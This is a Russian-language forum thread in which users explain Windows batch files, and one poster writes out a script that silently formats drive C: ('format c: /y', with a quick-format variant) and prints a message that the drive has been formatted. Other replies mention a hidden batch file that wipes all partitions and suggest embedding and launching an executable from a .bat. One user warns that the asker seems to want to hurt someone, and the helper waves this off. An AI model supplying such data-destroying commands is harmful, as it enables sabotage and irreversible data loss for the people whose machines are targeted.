Member
Статус: Не в сети Регистрация: 28.11.2003 Откуда: Москва
Можно и поподробней.
Значит так: .bat - это файл с набором команд, которые может принять командная строка. Тоесть туда ты можешь вписать любую команду которая работает у тебя в консоли при вводе руками. Например:
dir /b /o:g /o:n > list.txt Такая строка создает файл с именем list.txt, в котором будет содержаться список файлов и директорий в директории, без путей, отсортированный по алфавиту.
.bat создать очень просто: правый клик на пустом пространстве, пункт "создать", пункт "текстовый файл", задать любой имя с расшиернием .bat. Изменить еще легче: правый клик на .bat файле пункт изменить.
Таким образом в .bat'е тебе надо написать всего лишь:
@echo off format c: /y Или, если нужно быстрое форматирование:
@echo off format c: /q /y @ - строка следующая за этим символом не выводится на экран, echo off - выключает вывод на экран строк идущих после этой команды.
Можно еще дописать (третьей и четвертой строками) что-то типа:
cls echo "Your Hard Drive has been formated." cls - очищает экран, echo "..." - выводит надпись в кавычках на экран.
Advanced member
Статус: Не в сети Регистрация: 09.03.2004 Откуда: Кишинёв
@echo off здесь особенно не поможет. Т.к. результат выполнения формата будет виден в виде процентов выполнения. При этом достаточно нажать стрл+с или ресет чтобы всё прекратить.
Member
Статус: Не в сети Регистрация: 28.11.2003 Откуда: Москва
mein Она нужна чисто из эстетических соображений, чтобы пользователь не видел строк команд на экране, только сообщения.
Bones Не за что. Создание подобного batch-файла не несет за собой тяжелых последствий даже с случае применения со злым умыслом. А то что он будет применяться со злым умыслом нигде не сказано. Ко всему информация по batch-файлам и командной строке есть в справке Windows.
Member
Статус: Не в сети Регистрация: 05.11.2003 Откуда: Новосибирск
Zeno Вообще судя по высказываниям этого отрока все это нужно ему именно для того, чтобы кому-то нагадить. При этом человек настолько ленив (или глуп?), что даже поиск и стандартную справку не юзает.... Я бы на твоим месте не стал ему помогать.
_________________ аналоговый сигнал всегда лучше цифрового, ибо он непрерывный, а цифровой - дискретный
Member
Статус: Не в сети Регистрация: 06.05.2004 Откуда: Нижний Новгород
Есть у меня маленький батничек, легко удаляет все разделы на винте. От соседей по компу спрятал его за тремя архивами, боюсь сдуру запустят. Хитро написан, я думал *.bat'ом такого не сделать
Member
Статус: Не в сети Регистрация: 15.04.2004 Откуда: Москва
Shedow А что подробнее-то?
В ОС (если не пользоваться внешними утилитами) есть один способ получить доступ к PT: либо через fdisk (в Win9x) либо через fsutil (в XP).
Можно получить доступ к службе диспетчера дисков (под NT, Win2K и XP), но это требует напсания скрипта на VBScript или JScript.
Есть конечно еще один способ - самый красивый и изящный: написать BAT файл по типу shar (т.е. содержащий в себе exe), который этот exe отстрелит и запустит. Только вот его размер будет ого-го...
Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 2
Вы не можете начинать темы Вы не можете отвечать на сообщения Вы не можете редактировать свои сообщения Вы не можете удалять свои сообщения Вы не можете добавлять вложения